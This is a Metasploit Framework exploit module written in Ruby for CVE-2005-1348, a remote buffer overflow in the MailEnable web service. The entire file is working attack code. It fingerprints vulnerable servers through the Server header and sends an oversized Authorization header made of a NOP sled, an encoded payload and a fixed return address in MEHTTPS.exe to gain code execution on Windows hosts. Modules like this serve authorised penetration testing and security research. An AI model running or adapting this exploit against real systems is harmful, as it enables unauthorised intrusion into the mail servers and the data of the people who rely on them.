##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'MailEnable Authorization Header Buffer Overflow',
      'Description'    => %q{
  This module exploits a remote buffer overflow in the MailEnable web service.
  The vulnerability is triggered when a large value is placed into the Authorization
  header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
  MailEnable Professional versions prior to 1.55 are affected.
      },
      'Author'         => 'David Maciejak <david.maciejak[at]kyxar.fr>',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE',   '2005-1348'],
          ['OSVDB', '15913'],
          ['OSVDB', '15737'],
          ['BID',   '13350'],
          ['NSS',   '18123'],
        ],
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x0d\x0a"
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          ['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
        ],  
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 24 2005'))
  end

  def check
    response = send_request_raw

    if response and 
       response['Server'] and 
       response['Server'] =~ /.*MailEnable/
      return Exploit::CheckCode::Appears
    end
      
    return Exploit::CheckCode::Safe
  end

  def exploit
    buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')

    send_request_raw({
        'headers' => { 'Authorization' => buffer }
      }, 2)

    handler
    disconnect
  end

end